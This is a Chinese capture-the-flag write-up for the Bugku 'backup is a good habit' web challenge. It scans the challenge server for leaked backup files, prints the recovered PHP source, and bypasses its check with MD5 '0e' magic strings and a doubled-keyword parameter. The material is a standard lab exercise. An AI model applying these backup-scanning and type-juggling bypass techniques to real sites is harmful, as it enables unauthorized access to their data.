Bugku-备份是个好习惯 详解

题目进去就一串意义不明的字符,由两段相同的字符组成
在这里插入图片描述
简单看一下F12 ,也没有什么有价值的
然后从题目得知,这题应该是看网页备份文件

通常备份文件名后缀为 “.bak”

可以尝试用御剑之类的工具进行扫描,或者随便输入几个常见的备份名碰运气
我这里使用 SourceLeakHacker.来进行扫描

python3 sourceleakhackeer.py --url=http://123.206.87.240:8002/web16/ --threads=8 --timeout=8
#线程8  超时8

扫到了3个可用的,分别为

http://123.206.87.240:8002/web16/flag.php
http://123.206.87.240:8002/web16/index.php
http://123.206.87.240:8002/web16/index.php.bak

尝试以下范围flag.php ,无内容
然后访问index.php.bak
在这里插入图片描述
自动下载了一个备份文件下来,用vsc打开,是一串php代码,用注释简单分析一下

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";                        #包含flag.php文件
ini_set("display_errors", 0);                   #不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?');    #判断url是否有问号,有就将url赋值给str  
$str = substr($str,1);                          #将第一位字符后面的值赋给str,也就是问号后的值   
$str = str_replace('key','',$str);              #将str里的字符key替换为空
parse_str($str);                                #解析字符串
echo md5($key1);							    #输出md5加密后的key1

echo md5($key2);                                 #输出md5加密后的key1
if(md5($key1) == md5($key2) && $key1 !== $key2){ #if判断条件为,md5加密后的key1和key2相等,且key1不等于key2  
    echo $flag."取得flag";                       #输出flag
}
?>

从代码得知,要取得flagmd5 加密后的key1key2值要相等
这时需要知道以下几个点:
1.php弱类型,当 == 在进行比较的时候,会先将字符串类型转化成相同,再比较。
2.PHP在处理哈希字符串时后,会把0E开头的哈希值解释为0。这时去对比,就会相等

这里列出几个0e开头的md5

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

知道了这些条件,然后我们就开始尝试获取 flag
我们需要传入key1key2两个参数,由以上分析得知需要双写key绕过
构造url (注:url传入多个参数用 & 隔开)

http://123.206.87.240:8002/web16/?kkeyey1=s878926199a&kkeyey2=s155964671a

拿到 flag Bugku{OH_YOU_FIND_MY_MOMY}

在这里插入图片描述

知识点:

1.strstr() 函数,搜索字符串在另一字符串中的第一次出现,并返回字符串的剩余部分。

2.substr() 函数,返回指定位置后的字符串

3.str_replace() 函数,字符串替换

4.php弱类型:

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较

5.md5值对比漏洞

md5无法处理数组,所以构建数组也可以进行绕过

原创文章 3 获赞 1 访问量 183

猜你喜欢

转载自blog.csdn.net/sanqin_/article/details/106074386